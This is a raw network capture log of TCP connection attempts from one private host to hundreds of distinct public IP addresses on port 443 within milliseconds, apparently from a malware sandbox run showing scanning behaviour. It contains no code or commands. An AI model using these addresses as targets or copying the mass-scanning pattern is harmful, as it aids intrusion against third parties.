Oct 14, 2024 17:30:09.902869940 CEST	54042	443	192.168.2.14	148.94.141.184
Oct 14, 2024 17:30:09.902889013 CEST	54042	443	192.168.2.14	118.122.191.243
Oct 14, 2024 17:30:09.902889013 CEST	54042	443	192.168.2.14	37.228.198.36
Oct 14, 2024 17:30:09.902894020 CEST	54042	443	192.168.2.14	178.124.255.131
Oct 14, 2024 17:30:09.902896881 CEST	54042	443	192.168.2.14	42.171.109.191
Oct 14, 2024 17:30:09.902904987 CEST	54042	443	192.168.2.14	117.215.221.76
Oct 14, 2024 17:30:09.902909040 CEST	54042	443	192.168.2.14	109.177.204.44
Oct 14, 2024 17:30:09.902925014 CEST	54042	443	192.168.2.14	42.230.69.146
Oct 14, 2024 17:30:09.902936935 CEST	54042	443	192.168.2.14	212.212.146.51
Oct 14, 2024 17:30:09.902940989 CEST	54042	443	192.168.2.14	148.196.135.87
Oct 14, 2024 17:30:09.902967930 CEST	54042	443	192.168.2.14	37.146.106.211
Oct 14, 2024 17:30:09.902982950 CEST	54042	443	192.168.2.14	202.203.144.212
Oct 14, 2024 17:30:09.903007984 CEST	54042	443	192.168.2.14	117.210.235.146
Oct 14, 2024 17:30:09.903009892 CEST	54042	443	192.168.2.14	117.188.237.231
Oct 14, 2024 17:30:09.903019905 CEST	54042	443	192.168.2.14	2.225.59.73
Oct 14, 2024 17:30:09.903031111 CEST	54042	443	192.168.2.14	117.131.157.242
Oct 14, 2024 17:30:09.903031111 CEST	54042	443	192.168.2.14	109.140.253.216
Oct 14, 2024 17:30:09.903039932 CEST	54042	443	192.168.2.14	202.148.10.20
Oct 14, 2024 17:30:09.903039932 CEST	54042	443	192.168.2.14	5.54.95.14
Oct 14, 2024 17:30:09.903043985 CEST	54042	443	192.168.2.14	37.129.195.94
Oct 14, 2024 17:30:09.903055906 CEST	54042	443	192.168.2.14	202.75.29.141
Oct 14, 2024 17:30:09.903065920 CEST	54042	443	192.168.2.14	94.229.254.215
Oct 14, 2024 17:30:09.903086901 CEST	54042	443	192.168.2.14	42.55.228.217
Oct 14, 2024 17:30:09.903089046 CEST	54042	443	192.168.2.14	37.76.164.237
Oct 14, 2024 17:30:09.903105974 CEST	54042	443	192.168.2.14	5.8.189.160
Oct 14, 2024 17:30:09.903114080 CEST	54042	443	192.168.2.14	37.198.72.2
Oct 14, 2024 17:30:09.903136969 CEST	54042	443	192.168.2.14	178.155.225.79
Oct 14, 2024 17:30:09.903157949 CEST	54042	443	192.168.2.14	210.71.229.78
Oct 14, 2024 17:30:09.903161049 CEST	54042	443	192.168.2.14	5.189.8.61
Oct 14, 2024 17:30:09.903162003 CEST	54042	443	192.168.2.14	178.2.104.169
Oct 14, 2024 17:30:09.903167963 CEST	54042	443	192.168.2.14	148.64.227.215
Oct 14, 2024 17:30:09.903176069 CEST	54042	443	192.168.2.14	202.133.167.152
Oct 14, 2024 17:30:09.903192043 CEST	54042	443	192.168.2.14	123.187.56.139
Oct 14, 2024 17:30:09.903194904 CEST	54042	443	192.168.2.14	37.186.199.17
Oct 14, 2024 17:30:09.903209925 CEST	54042	443	192.168.2.14	202.40.168.10
Oct 14, 2024 17:30:09.903213978 CEST	54042	443	192.168.2.14	42.117.4.218
Oct 14, 2024 17:30:09.903225899 CEST	54042	443	192.168.2.14	212.253.197.45
Oct 14, 2024 17:30:09.903243065 CEST	54042	443	192.168.2.14	118.6.222.44
Oct 14, 2024 17:30:09.903243065 CEST	54042	443	192.168.2.14	118.17.143.76
Oct 14, 2024 17:30:09.903260946 CEST	54042	443	192.168.2.14	117.147.54.251
Oct 14, 2024 17:30:09.903260946 CEST	54042	443	192.168.2.14	42.241.9.64
Oct 14, 2024 17:30:09.903269053 CEST	54042	443	192.168.2.14	37.180.19.7
Oct 14, 2024 17:30:09.903285027 CEST	54042	443	192.168.2.14	123.209.48.156
Oct 14, 2024 17:30:09.903292894 CEST	54042	443	192.168.2.14	5.38.57.71
Oct 14, 2024 17:30:09.903304100 CEST	54042	443	192.168.2.14	202.218.159.3
Oct 14, 2024 17:30:09.903318882 CEST	54042	443	192.168.2.14	118.213.187.158
Oct 14, 2024 17:30:09.903327942 CEST	54042	443	192.168.2.14	117.191.235.21
Oct 14, 2024 17:30:09.903327942 CEST	54042	443	192.168.2.14	5.249.71.138
Oct 14, 2024 17:30:09.903340101 CEST	54042	443	192.168.2.14	123.54.30.39
Oct 14, 2024 17:30:09.903347969 CEST	54042	443	192.168.2.14	178.201.156.122
Oct 14, 2024 17:30:09.903357029 CEST	54042	443	192.168.2.14	94.252.128.184
Oct 14, 2024 17:30:09.903377056 CEST	54042	443	192.168.2.14	109.142.228.246
Oct 14, 2024 17:30:09.903377056 CEST	54042	443	192.168.2.14	117.154.225.239
Oct 14, 2024 17:30:09.903393984 CEST	54042	443	192.168.2.14	94.191.49.43
Oct 14, 2024 17:30:09.903398991 CEST	54042	443	192.168.2.14	202.185.90.92
Oct 14, 2024 17:30:09.903409004 CEST	54042	443	192.168.2.14	109.195.83.162
Oct 14, 2024 17:30:09.903424025 CEST	443	54042	94.191.49.43	192.168.2.14
Oct 14, 2024 17:30:09.903454065 CEST	54042	443	192.168.2.14	42.77.222.84
Oct 14, 2024 17:30:09.903464079 CEST	54042	443	192.168.2.14	109.11.212.214
Oct 14, 2024 17:30:09.903474092 CEST	54042	443	192.168.2.14	42.6.91.234
Oct 14, 2024 17:30:09.903474092 CEST	54042	443	192.168.2.14	118.8.217.93
Oct 14, 2024 17:30:09.903476000 CEST	54042	443	192.168.2.14	212.124.151.8
Oct 14, 2024 17:30:09.903496981 CEST	54042	443	192.168.2.14	210.140.12.224
Oct 14, 2024 17:30:09.903501034 CEST	54042	443	192.168.2.14	94.191.49.43
Oct 14, 2024 17:30:09.903501034 CEST	54042	443	192.168.2.14	118.224.92.206
Oct 14, 2024 17:30:09.903507948 CEST	54042	443	192.168.2.14	42.59.134.23
Oct 14, 2024 17:30:09.903522015 CEST	54042	443	192.168.2.14	178.127.168.236
Oct 14, 2024 17:30:09.903542042 CEST	54042	443	192.168.2.14	148.235.7.136
Oct 14, 2024 17:30:09.903568983 CEST	54042	443	192.168.2.14	202.140.207.9
Oct 14, 2024 17:30:09.903572083 CEST	54042	443	192.168.2.14	212.108.54.228
Oct 14, 2024 17:30:09.903573036 CEST	54042	443	192.168.2.14	5.69.53.5
Oct 14, 2024 17:30:09.903590918 CEST	54042	443	192.168.2.14	210.34.33.142
Oct 14, 2024 17:30:09.903603077 CEST	54042	443	192.168.2.14	123.33.186.102
Oct 14, 2024 17:30:09.903603077 CEST	54042	443	192.168.2.14	2.26.51.0
Oct 14, 2024 17:30:09.903625965 CEST	54042	443	192.168.2.14	109.107.102.94
Oct 14, 2024 17:30:09.903625965 CEST	54042	443	192.168.2.14	202.85.196.115
Oct 14, 2024 17:30:09.903644085 CEST	54042	443	192.168.2.14	148.107.133.79
Oct 14, 2024 17:30:09.903654099 CEST	54042	443	192.168.2.14	210.141.90.56
Oct 14, 2024 17:30:09.903681040 CEST	54042	443	192.168.2.14	42.204.81.79
Oct 14, 2024 17:30:09.903692007 CEST	54042	443	192.168.2.14	118.246.172.224
Oct 14, 2024 17:30:09.903695107 CEST	54042	443	192.168.2.14	94.41.244.247
Oct 14, 2024 17:30:09.903702974 CEST	54042	443	192.168.2.14	212.169.247.250
Oct 14, 2024 17:30:09.903704882 CEST	54042	443	192.168.2.14	5.230.84.47
Oct 14, 2024 17:30:09.903714895 CEST	54042	443	192.168.2.14	94.229.217.76
Oct 14, 2024 17:30:09.903727055 CEST	54042	443	192.168.2.14	148.78.232.87
Oct 14, 2024 17:30:09.903738022 CEST	54042	443	192.168.2.14	178.67.183.29
Oct 14, 2024 17:30:09.903742075 CEST	54042	443	192.168.2.14	94.220.226.87
Oct 14, 2024 17:30:09.903759956 CEST	54042	443	192.168.2.14	178.217.202.146
Oct 14, 2024 17:30:09.903769016 CEST	54042	443	192.168.2.14	212.46.97.205
Oct 14, 2024 17:30:09.903772116 CEST	54042	443	192.168.2.14	79.202.88.175
Oct 14, 2024 17:30:09.903781891 CEST	54042	443	192.168.2.14	37.93.176.122
Oct 14, 2024 17:30:09.903784037 CEST	54042	443	192.168.2.14	94.77.95.67
Oct 14, 2024 17:30:09.903795958 CEST	54042	443	192.168.2.14	2.169.30.179
Oct 14, 2024 17:30:09.903800011 CEST	54042	443	192.168.2.14	42.218.88.203
Oct 14, 2024 17:30:09.903815031 CEST	54042	443	192.168.2.14	118.180.82.154
Oct 14, 2024 17:30:09.903822899 CEST	54042	443	192.168.2.14	148.107.182.117
Oct 14, 2024 17:30:09.903832912 CEST	54042	443	192.168.2.14	94.172.134.183
Oct 14, 2024 17:30:09.903841019 CEST	54042	443	192.168.2.14	5.112.74.134
Oct 14, 2024 17:30:09.903850079 CEST	54042	443	192.168.2.14	212.135.223.97
Oct 14, 2024 17:30:09.903878927 CEST	54042	443	192.168.2.14	109.16.172.115
Oct 14, 2024 17:30:09.903887987 CEST	54042	443	192.168.2.14	118.4.21.101
Oct 14, 2024 17:30:09.903891087 CEST	54042	443	192.168.2.14	148.5.139.36
Oct 14, 2024 17:30:09.903907061 CEST	54042	443	192.168.2.14	148.188.88.33
Oct 14, 2024 17:30:09.903923035 CEST	54042	443	192.168.2.14	118.80.222.200
Oct 14, 2024 17:30:09.903923035 CEST	54042	443	192.168.2.14	178.86.202.240
Oct 14, 2024 17:30:09.903942108 CEST	54042	443	192.168.2.14	178.112.106.125
Oct 14, 2024 17:30:09.903951883 CEST	54042	443	192.168.2.14	117.99.131.101
Oct 14, 2024 17:30:09.903965950 CEST	54042	443	192.168.2.14	109.117.26.242
Oct 14, 2024 17:30:09.903965950 CEST	54042	443	192.168.2.14	148.172.150.174
Oct 14, 2024 17:30:09.903970003 CEST	54042	443	192.168.2.14	79.32.8.227
Oct 14, 2024 17:30:09.903990030 CEST	54042	443	192.168.2.14	178.185.198.181
Oct 14, 2024 17:30:09.904006004 CEST	54042	443	192.168.2.14	212.101.174.14
Oct 14, 2024 17:30:09.904011965 CEST	54042	443	192.168.2.14	79.194.33.234
Oct 14, 2024 17:30:09.904011965 CEST	54042	443	192.168.2.14	210.125.214.80
Oct 14, 2024 17:30:09.904035091 CEST	54042	443	192.168.2.14	79.130.30.184
Oct 14, 2024 17:30:09.904047966 CEST	54042	443	192.168.2.14	5.158.237.89
Oct 14, 2024 17:30:09.904059887 CEST	54042	443	192.168.2.14	37.167.90.91
Oct 14, 2024 17:30:09.904076099 CEST	54042	443	192.168.2.14	212.144.113.60
Oct 14, 2024 17:30:09.904076099 CEST	54042	443	192.168.2.14	212.149.254.239
Oct 14, 2024 17:30:09.904108047 CEST	54042	443	192.168.2.14	148.206.250.125
Oct 14, 2024 17:30:09.904112101 CEST	54042	443	192.168.2.14	42.96.7.236
Oct 14, 2024 17:30:09.904124022 CEST	54042	443	192.168.2.14	5.177.133.179
Oct 14, 2024 17:30:09.904130936 CEST	54042	443	192.168.2.14	118.5.193.173
Oct 14, 2024 17:30:09.904143095 CEST	54042	443	192.168.2.14	42.181.170.219
Oct 14, 2024 17:30:09.904143095 CEST	54042	443	192.168.2.14	210.133.127.3
Oct 14, 2024 17:30:09.904155970 CEST	54042	443	192.168.2.14	42.117.186.80
Oct 14, 2024 17:30:09.904175043 CEST	54042	443	192.168.2.14	79.191.114.187
Oct 14, 2024 17:30:09.904175043 CEST	54042	443	192.168.2.14	2.152.170.7
Oct 14, 2024 17:30:09.904175997 CEST	54042	443	192.168.2.14	42.163.73.135
Oct 14, 2024 17:30:09.904195070 CEST	54042	443	192.168.2.14	2.29.12.43
Oct 14, 2024 17:30:09.904203892 CEST	54042	443	192.168.2.14	109.83.77.49
Oct 14, 2024 17:30:09.904211044 CEST	54042	443	192.168.2.14	117.217.247.44
Oct 14, 2024 17:30:09.904218912 CEST	54042	443	192.168.2.14	148.103.36.151
Oct 14, 2024 17:30:09.904241085 CEST	54042	443	192.168.2.14	178.27.16.142
Oct 14, 2024 17:30:09.904257059 CEST	54042	443	192.168.2.14	79.204.117.75
Oct 14, 2024 17:30:09.904272079 CEST	54042	443	192.168.2.14	202.68.210.89
Oct 14, 2024 17:30:09.904272079 CEST	54042	443	192.168.2.14	117.71.140.157
Oct 14, 2024 17:30:09.904287100 CEST	54042	443	192.168.2.14	42.255.15.137
Oct 14, 2024 17:30:09.904287100 CEST	54042	443	192.168.2.14	210.225.175.176
Oct 14, 2024 17:30:09.904297113 CEST	54042	443	192.168.2.14	210.144.188.103
Oct 14, 2024 17:30:09.904304028 CEST	54042	443	192.168.2.14	79.57.180.56
Oct 14, 2024 17:30:09.904325008 CEST	54042	443	192.168.2.14	2.66.248.41
Oct 14, 2024 17:30:09.904341936 CEST	54042	443	192.168.2.14	148.80.29.148
Oct 14, 2024 17:30:09.904341936 CEST	54042	443	192.168.2.14	5.226.223.132
Oct 14, 2024 17:30:09.904345989 CEST	54042	443	192.168.2.14	109.201.69.217
Oct 14, 2024 17:30:09.904361963 CEST	54042	443	192.168.2.14	79.67.202.76
Oct 14, 2024 17:30:09.904370070 CEST	54042	443	192.168.2.14	148.1.183.99
Oct 14, 2024 17:30:09.904383898 CEST	54042	443	192.168.2.14	148.232.113.96
Oct 14, 2024 17:30:09.904397011 CEST	54042	443	192.168.2.14	148.16.40.191
Oct 14, 2024 17:30:09.904397964 CEST	54042	443	192.168.2.14	5.26.10.77
Oct 14, 2024 17:30:09.904417038 CEST	54042	443	192.168.2.14	123.4.228.57
Oct 14, 2024 17:30:09.904428959 CEST	54042	443	192.168.2.14	212.254.106.48
Oct 14, 2024 17:30:09.904443979 CEST	54042	443	192.168.2.14	178.13.121.75
Oct 14, 2024 17:30:09.904443979 CEST	54042	443	192.168.2.14	37.70.92.71
Oct 14, 2024 17:30:09.904455900 CEST	54042	443	192.168.2.14	210.132.164.185
Oct 14, 2024 17:30:09.904459953 CEST	54042	443	192.168.2.14	178.40.170.233
Oct 14, 2024 17:30:09.904459953 CEST	54042	443	192.168.2.14	5.75.82.53
Oct 14, 2024 17:30:09.904474020 CEST	54042	443	192.168.2.14	37.98.137.21
Oct 14, 2024 17:30:09.904479980 CEST	54042	443	192.168.2.14	5.205.174.164
Oct 14, 2024 17:30:09.904481888 CEST	54042	443	192.168.2.14	2.249.238.240
Oct 14, 2024 17:30:09.904500961 CEST	54042	443	192.168.2.14	79.125.211.115
Oct 14, 2024 17:30:09.904515982 CEST	54042	443	192.168.2.14	2.41.20.42
Oct 14, 2024 17:30:09.904519081 CEST	54042	443	192.168.2.14	148.204.183.153
Oct 14, 2024 17:30:09.904531956 CEST	54042	443	192.168.2.14	42.19.183.229
Oct 14, 2024 17:30:09.904556990 CEST	54042	443	192.168.2.14	178.100.212.187
Oct 14, 2024 17:30:09.904556990 CEST	54042	443	192.168.2.14	94.211.161.59
Oct 14, 2024 17:30:09.904572010 CEST	54042	443	192.168.2.14	212.248.92.207
Oct 14, 2024 17:30:09.904592991 CEST	54042	443	192.168.2.14	148.23.251.220
Oct 14, 2024 17:30:09.904609919 CEST	54042	443	192.168.2.14	148.30.96.63
Oct 14, 2024 17:30:09.904613018 CEST	54042	443	192.168.2.14	123.166.204.136
Oct 14, 2024 17:30:09.904628992 CEST	54042	443	192.168.2.14	109.120.44.138
Oct 14, 2024 17:30:09.904628992 CEST	54042	443	192.168.2.14	212.109.34.219
Oct 14, 2024 17:30:09.904649973 CEST	54042	443	192.168.2.14	94.87.0.200
Oct 14, 2024 17:30:09.904653072 CEST	54042	443	192.168.2.14	94.230.213.165
Oct 14, 2024 17:30:09.904666901 CEST	54042	443	192.168.2.14	118.28.180.190
Oct 14, 2024 17:30:09.904666901 CEST	54042	443	192.168.2.14	79.207.51.59
Oct 14, 2024 17:30:09.904674053 CEST	54042	443	192.168.2.14	202.45.254.220
Oct 14, 2024 17:30:09.904692888 CEST	54042	443	192.168.2.14	2.25.67.57
Oct 14, 2024 17:30:09.904714108 CEST	54042	443	192.168.2.14	123.38.156.201
Oct 14, 2024 17:30:09.904726028 CEST	54042	443	192.168.2.14	42.14.89.61
Oct 14, 2024 17:30:09.904727936 CEST	54042	443	192.168.2.14	178.85.66.109
Oct 14, 2024 17:30:09.904741049 CEST	54042	443	192.168.2.14	5.4.112.96
Oct 14, 2024 17:30:09.904742956 CEST	54042	443	192.168.2.14	210.196.81.22
Oct 14, 2024 17:30:09.904773951 CEST	54042	443	192.168.2.14	117.207.158.60
Oct 14, 2024 17:30:09.904782057 CEST	54042	443	192.168.2.14	123.11.170.219
Oct 14, 2024 17:30:09.904783010 CEST	54042	443	192.168.2.14	117.62.156.42
Oct 14, 2024 17:30:09.904797077 CEST	54042	443	192.168.2.14	212.4.77.54
Oct 14, 2024 17:30:09.904808998 CEST	54042	443	192.168.2.14	2.2.39.229
Oct 14, 2024 17:30:09.904828072 CEST	54042	443	192.168.2.14	117.65.213.2
Oct 14, 2024 17:30:09.904833078 CEST	54042	443	192.168.2.14	2.93.78.98
Oct 14, 2024 17:30:09.904846907 CEST	54042	443	192.168.2.14	79.7.234.122
Oct 14, 2024 17:30:09.904864073 CEST	54042	443	192.168.2.14	37.252.20.250
Oct 14, 2024 17:30:09.904865026 CEST	54042	443	192.168.2.14	94.171.213.255
Oct 14, 2024 17:30:09.904879093 CEST	54042	443	192.168.2.14	148.138.187.228
Oct 14, 2024 17:30:09.904892921 CEST	54042	443	192.168.2.14	79.220.111.86
Oct 14, 2024 17:30:09.904895067 CEST	54042	443	192.168.2.14	210.67.195.172
Oct 14, 2024 17:30:09.904901028 CEST	54042	443	192.168.2.14	210.79.70.59
Oct 14, 2024 17:30:09.904936075 CEST	54042	443	192.168.2.14	109.243.204.7
Oct 14, 2024 17:30:09.904944897 CEST	54042	443	192.168.2.14	117.134.52.24
Oct 14, 2024 17:30:09.904962063 CEST	54042	443	192.168.2.14	94.49.46.94
Oct 14, 2024 17:30:09.904972076 CEST	54042	443	192.168.2.14	148.141.102.145
Oct 14, 2024 17:30:09.904980898 CEST	54042	443	192.168.2.14	202.228.208.250
Oct 14, 2024 17:30:09.905000925 CEST	54042	443	192.168.2.14	2.233.133.75
Oct 14, 2024 17:30:09.905006886 CEST	54042	443	192.168.2.14	118.117.195.15
Oct 14, 2024 17:30:09.905014992 CEST	54042	443	192.168.2.14	94.157.48.230
Oct 14, 2024 17:30:09.905014992 CEST	54042	443	192.168.2.14	118.244.99.227
Oct 14, 2024 17:30:09.905038118 CEST	54042	443	192.168.2.14	178.80.10.242
Oct 14, 2024 17:30:09.905045986 CEST	54042	443	192.168.2.14	123.183.169.1
Oct 14, 2024 17:30:09.905060053 CEST	54042	443	192.168.2.14	118.255.110.215
Oct 14, 2024 17:30:09.905060053 CEST	54042	443	192.168.2.14	210.140.98.3
Oct 14, 2024 17:30:09.905072927 CEST	54042	443	192.168.2.14	148.75.233.25
Oct 14, 2024 17:30:09.905085087 CEST	54042	443	192.168.2.14	123.58.196.223
Oct 14, 2024 17:30:09.905093908 CEST	54042	443	192.168.2.14	202.156.216.95
Oct 14, 2024 17:30:09.905117989 CEST	54042	443	192.168.2.14	94.183.114.177
Oct 14, 2024 17:30:09.905139923 CEST	54042	443	192.168.2.14	212.4.73.162
Oct 14, 2024 17:30:09.905142069 CEST	54042	443	192.168.2.14	212.42.98.34
Oct 14, 2024 17:30:09.905153990 CEST	54042	443	192.168.2.14	148.154.51.43
Oct 14, 2024 17:30:09.905159950 CEST	54042	443	192.168.2.14	79.114.33.115
Oct 14, 2024 17:30:09.905165911 CEST	54042	443	192.168.2.14	109.248.66.112
Oct 14, 2024 17:30:09.905184984 CEST	54042	443	192.168.2.14	109.88.129.188
Oct 14, 2024 17:30:09.905198097 CEST	54042	443	192.168.2.14	109.36.10.218
Oct 14, 2024 17:30:09.905201912 CEST	54042	443	192.168.2.14	123.129.74.129
Oct 14, 2024 17:30:09.905231953 CEST	54042	443	192.168.2.14	37.100.242.210
Oct 14, 2024 17:30:09.905231953 CEST	54042	443	192.168.2.14	2.56.185.217
Oct 14, 2024 17:30:09.905246019 CEST	54042	443	192.168.2.14	42.60.222.148
Oct 14, 2024 17:30:09.905256987 CEST	54042	443	192.168.2.14	178.139.170.160
Oct 14, 2024 17:30:09.905273914 CEST	54042	443	192.168.2.14	178.155.67.74
Oct 14, 2024 17:30:09.905284882 CEST	54042	443	192.168.2.14	37.3.137.26
Oct 14, 2024 17:30:09.905297995 CEST	54042	443	192.168.2.14	210.171.145.136
Oct 14, 2024 17:30:09.905314922 CEST	54042	443	192.168.2.14	117.50.50.84
Oct 14, 2024 17:30:09.905314922 CEST	54042	443	192.168.2.14	212.172.219.127
Oct 14, 2024 17:30:09.905338049 CEST	54042	443	192.168.2.14	109.180.128.23
Oct 14, 2024 17:30:09.905342102 CEST	54042	443	192.168.2.14	148.189.106.142
Oct 14, 2024 17:30:09.905342102 CEST	54042	443	192.168.2.14	109.2.5.89
Oct 14, 2024 17:30:09.905375004 CEST	54042	443	192.168.2.14	123.245.125.194
Oct 14, 2024 17:30:09.905375004 CEST	54042	443	192.168.2.14	117.75.111.120
Oct 14, 2024 17:30:09.905386925 CEST	54042	443	192.168.2.14	178.50.17.57
Oct 14, 2024 17:30:09.905397892 CEST	54042	443	192.168.2.14	109.224.136.145
Oct 14, 2024 17:30:09.905397892 CEST	54042	443	192.168.2.14	210.198.195.22
Oct 14, 2024 17:30:09.905445099 CEST	54042	443	192.168.2.14	79.93.134.101
Oct 14, 2024 17:30:09.905459881 CEST	54042	443	192.168.2.14	202.229.149.142
Oct 14, 2024 17:30:09.905459881 CEST	54042	443	192.168.2.14	42.27.232.222
Oct 14, 2024 17:30:09.905469894 CEST	54042	443	192.168.2.14	202.73.110.95
Oct 14, 2024 17:30:09.905469894 CEST	54042	443	192.168.2.14	148.65.76.129
Oct 14, 2024 17:30:09.905479908 CEST	54042	443	192.168.2.14	79.81.56.63
Oct 14, 2024 17:30:09.905488014 CEST	54042	443	192.168.2.14	212.61.192.219
Oct 14, 2024 17:30:09.905502081 CEST	54042	443	192.168.2.14	123.38.120.13
Oct 14, 2024 17:30:09.905504942 CEST	54042	443	192.168.2.14	94.245.214.218
Oct 14, 2024 17:30:09.905507088 CEST	54042	443	192.168.2.14	148.115.196.205
Oct 14, 2024 17:30:09.905527115 CEST	54042	443	192.168.2.14	202.12.115.74
Oct 14, 2024 17:30:09.905546904 CEST	54042	443	192.168.2.14	212.124.62.215
Oct 14, 2024 17:30:09.905555964 CEST	54042	443	192.168.2.14	2.140.34.2
Oct 14, 2024 17:30:09.905555964 CEST	54042	443	192.168.2.14	109.94.236.37
Oct 14, 2024 17:30:09.905570984 CEST	54042	443	192.168.2.14	210.234.138.239
Oct 14, 2024 17:30:09.905571938 CEST	54042	443	192.168.2.14	202.244.233.92
Oct 14, 2024 17:30:09.905597925 CEST	54042	443	192.168.2.14	148.138.181.12
Oct 14, 2024 17:30:09.905601025 CEST	54042	443	192.168.2.14	37.171.143.183
Oct 14, 2024 17:30:09.905611038 CEST	54042	443	192.168.2.14	5.215.250.142
Oct 14, 2024 17:30:09.905611038 CEST	54042	443	192.168.2.14	37.223.99.85
Oct 14, 2024 17:30:09.905621052 CEST	54042	443	192.168.2.14	94.25.52.236
Oct 14, 2024 17:30:09.905636072 CEST	54042	443	192.168.2.14	123.248.115.83
Oct 14, 2024 17:30:09.905641079 CEST	54042	443	192.168.2.14	123.47.140.126
Oct 14, 2024 17:30:09.905664921 CEST	54042	443	192.168.2.14	37.126.202.127
Oct 14, 2024 17:30:09.905664921 CEST	54042	443	192.168.2.14	212.83.96.119
Oct 14, 2024 17:30:09.905679941 CEST	54042	443	192.168.2.14	109.130.51.55
Oct 14, 2024 17:30:09.905705929 CEST	54042	443	192.168.2.14	123.91.194.25
Oct 14, 2024 17:30:09.905716896 CEST	54042	443	192.168.2.14	42.217.171.176
Oct 14, 2024 17:30:09.905716896 CEST	54042	443	192.168.2.14	212.47.213.46
Oct 14, 2024 17:30:09.905716896 CEST	54042	443	192.168.2.14	210.213.77.255
Oct 14, 2024 17:30:09.905730009 CEST	54042	443	192.168.2.14	202.108.118.37
Oct 14, 2024 17:30:09.905754089 CEST	54042	443	192.168.2.14	118.116.88.142
Oct 14, 2024 17:30:09.905755043 CEST	54042	443	192.168.2.14	42.73.82.71
Oct 14, 2024 17:30:09.905771971 CEST	54042	443	192.168.2.14	123.11.15.100
Oct 14, 2024 17:30:09.905786037 CEST	54042	443	192.168.2.14	118.85.24.245
Oct 14, 2024 17:30:09.905791044 CEST	54042	443	192.168.2.14	2.206.242.173
Oct 14, 2024 17:30:09.905791044 CEST	54042	443	192.168.2.14	210.24.6.40
Oct 14, 2024 17:30:09.905805111 CEST	54042	443	192.168.2.14	37.157.156.171
Oct 14, 2024 17:30:09.905818939 CEST	54042	443	192.168.2.14	178.87.133.249
Oct 14, 2024 17:30:09.905834913 CEST	54042	443	192.168.2.14	202.31.60.198
Oct 14, 2024 17:30:09.905849934 CEST	54042	443	192.168.2.14	2.153.93.60
Oct 14, 2024 17:30:09.905849934 CEST	54042	443	192.168.2.14	37.109.179.160
Oct 14, 2024 17:30:09.905867100 CEST	54042	443	192.168.2.14	118.101.128.42
Oct 14, 2024 17:30:09.905874014 CEST	54042	443	192.168.2.14	79.155.204.58
Oct 14, 2024 17:30:09.905894995 CEST	54042	443	192.168.2.14	148.81.239.210
Oct 14, 2024 17:30:09.905896902 CEST	54042	443	192.168.2.14	212.218.67.207
Oct 14, 2024 17:30:09.905913115 CEST	54042	443	192.168.2.14	117.66.53.226
Oct 14, 2024 17:30:09.905914068 CEST	54042	443	192.168.2.14	42.158.216.197
Oct 14, 2024 17:30:09.905925989 CEST	54042	443	192.168.2.14	123.243.126.18
Oct 14, 2024 17:30:09.905939102 CEST	54042	443	192.168.2.14	123.202.165.235
Oct 14, 2024 17:30:09.905953884 CEST	54042	443	192.168.2.14	212.138.203.241
Oct 14, 2024 17:30:09.905978918 CEST	54042	443	192.168.2.14	123.192.245.74
Oct 14, 2024 17:30:09.905989885 CEST	54042	443	192.168.2.14	42.45.96.29
Oct 14, 2024 17:30:09.906004906 CEST	54042	443	192.168.2.14	42.236.64.84
Oct 14, 2024 17:30:09.906008005 CEST	54042	443	192.168.2.14	117.227.160.17
Oct 14, 2024 17:30:09.906018019 CEST	54042	443	192.168.2.14	109.62.103.53
Oct 14, 2024 17:30:09.906034946 CEST	54042	443	192.168.2.14	2.146.217.236
Oct 14, 2024 17:30:09.906053066 CEST	54042	443	192.168.2.14	2.160.182.25
Oct 14, 2024 17:30:09.906061888 CEST	54042	443	192.168.2.14	37.154.85.219
Oct 14, 2024 17:30:09.906075954 CEST	54042	443	192.168.2.14	117.24.48.154
Oct 14, 2024 17:30:09.906075954 CEST	54042	443	192.168.2.14	210.86.143.106
Oct 14, 2024 17:30:09.906090021 CEST	54042	443	192.168.2.14	2.111.47.165
Oct 14, 2024 17:30:09.906090975 CEST	54042	443	192.168.2.14	210.77.239.62
Oct 14, 2024 17:30:09.906100035 CEST	54042	443	192.168.2.14	117.138.122.127
Oct 14, 2024 17:30:09.906120062 CEST	54042	443	192.168.2.14	117.41.90.182
Oct 14, 2024 17:30:09.906121969 CEST	54042	443	192.168.2.14	202.164.123.198
Oct 14, 2024 17:30:09.906138897 CEST	54042	443	192.168.2.14	79.252.66.132
Oct 14, 2024 17:30:09.906142950 CEST	54042	443	192.168.2.14	5.24.140.60
Oct 14, 2024 17:30:09.906162977 CEST	54042	443	192.168.2.14	117.16.141.225
Oct 14, 2024 17:30:09.906172991 CEST	54042	443	192.168.2.14	212.128.11.236
Oct 14, 2024 17:30:09.906183958 CEST	54042	443	192.168.2.14	178.3.166.216
Oct 14, 2024 17:30:09.906189919 CEST	54042	443	192.168.2.14	117.163.120.49
Oct 14, 2024 17:30:09.906207085 CEST	54042	443	192.168.2.14	109.12.108.181
Oct 14, 2024 17:30:09.906244993 CEST	54042	443	192.168.2.14	178.254.197.216
Oct 14, 2024 17:30:09.906249046 CEST	54042	443	192.168.2.14	202.251.85.236
Oct 14, 2024 17:30:09.906255960 CEST	54042	443	192.168.2.14	210.68.120.112
Oct 14, 2024 17:30:09.906270981 CEST	54042	443	192.168.2.14	117.192.151.6
Oct 14, 2024 17:30:09.906291962 CEST	54042	443	192.168.2.14	79.115.108.215
Oct 14, 2024 17:30:09.906294107 CEST	54042	443	192.168.2.14	210.129.32.198
Oct 14, 2024 17:30:09.906296968 CEST	54042	443	192.168.2.14	42.67.24.129
Oct 14, 2024 17:30:09.906296968 CEST	54042	443	192.168.2.14	123.126.47.12
Oct 14, 2024 17:30:09.906316042 CEST	54042	443	192.168.2.14	42.251.66.244
Oct 14, 2024 17:30:09.906325102 CEST	54042	443	192.168.2.14	118.117.241.113
Oct 14, 2024 17:30:09.906327963 CEST	54042	443	192.168.2.14	94.203.246.201
Oct 14, 2024 17:30:09.906342983 CEST	54042	443	192.168.2.14	123.127.225.250
Oct 14, 2024 17:30:09.906342983 CEST	54042	443	192.168.2.14	79.9.102.242
Oct 14, 2024 17:30:09.906356096 CEST	54042	443	192.168.2.14	37.38.182.12
Oct 14, 2024 17:30:09.906363010 CEST	54042	443	192.168.2.14	118.37.213.234
Oct 14, 2024 17:30:09.906363010 CEST	54042	443	192.168.2.14	123.107.40.230
Oct 14, 2024 17:30:09.906371117 CEST	54042	443	192.168.2.14	118.132.188.69
Oct 14, 2024 17:30:09.906378984 CEST	54042	443	192.168.2.14	37.10.211.210
Oct 14, 2024 17:30:09.906394005 CEST	54042	443	192.168.2.14	2.208.49.189
Oct 14, 2024 17:30:09.906394958 CEST	54042	443	192.168.2.14	212.213.197.137
Oct 14, 2024 17:30:09.906413078 CEST	54042	443	192.168.2.14	178.26.105.214
